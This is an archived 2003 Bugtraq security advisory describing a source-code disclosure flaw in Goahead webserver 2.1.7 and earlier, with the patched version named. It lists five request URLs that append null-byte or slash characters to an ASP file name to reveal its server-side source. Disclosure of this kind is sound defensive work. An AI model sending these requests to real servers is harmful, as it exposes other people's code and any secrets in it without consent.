bugtraq - Server side scripts viewing in Goahead webserver <= 2.1.7

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 17 Dec 2003 14:06:31 +0000
From: Luigi Auriemma <aluigi@...ervista.org>
To: bugtraq@...urityfocus.com
Cc: vulnwatch@...nwatch.org, list@...ield.org, news@...uriteam.com
Subject: Server side scripts viewing in Goahead webserver <= 2.1.7

#######################################################################

                             Luigi Auriemma

Application:  Goahead webserver
              http://12.129.4.11/webserver/webserver.htm
Versions:     <= 2.1.7
Platforms:    multiplatform
Bug:          source code viewing of server side script files
Risk:         low/medium
Exploitation: easy via browser
Date:         17 Dec 2003
Author:       Luigi Auriemma
              e-mail: aluigi@...ervista.org
              web:    http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Goahead webserver is an embedded OpenSource server that can be build on
a lot of systems (CE, Ecos, GNU/Linux, Lynx, MacOS, NW, QNX4, VXWORKS,
Win32 and others).
Then it is supported by a lot of companies that use it for their
projects and it is also used like "base" for other webservers,
furthermore it has been developed for be very tiny and to run on
embedded systems.

#######################################################################

======
2) Bug
======

Goahead webserver supports the usage of ASP files that are "executed"
when called by the client's browser.
However exists a vulnerability letting the client to view the source
code of each ASP file (or other server side scripts excluded the
cgi-bin files) simply adding some chars or URL encoded chars after the
name of the requested file:

%00, %2f, %5c, / and \

#######################################################################

===========
3) The Code
===========

http://server/asp.asp%00
http://server/asp.asp%2f
http://server/asp.asp%5c
http://server/asp.asp/
http://server/asp.asp\

#######################################################################

======
4) Fix
======

Version 2.1.8 released the 8th Dec 2003

#######################################################################

--- 
Luigi Auriemma
http://aluigi.altervista.org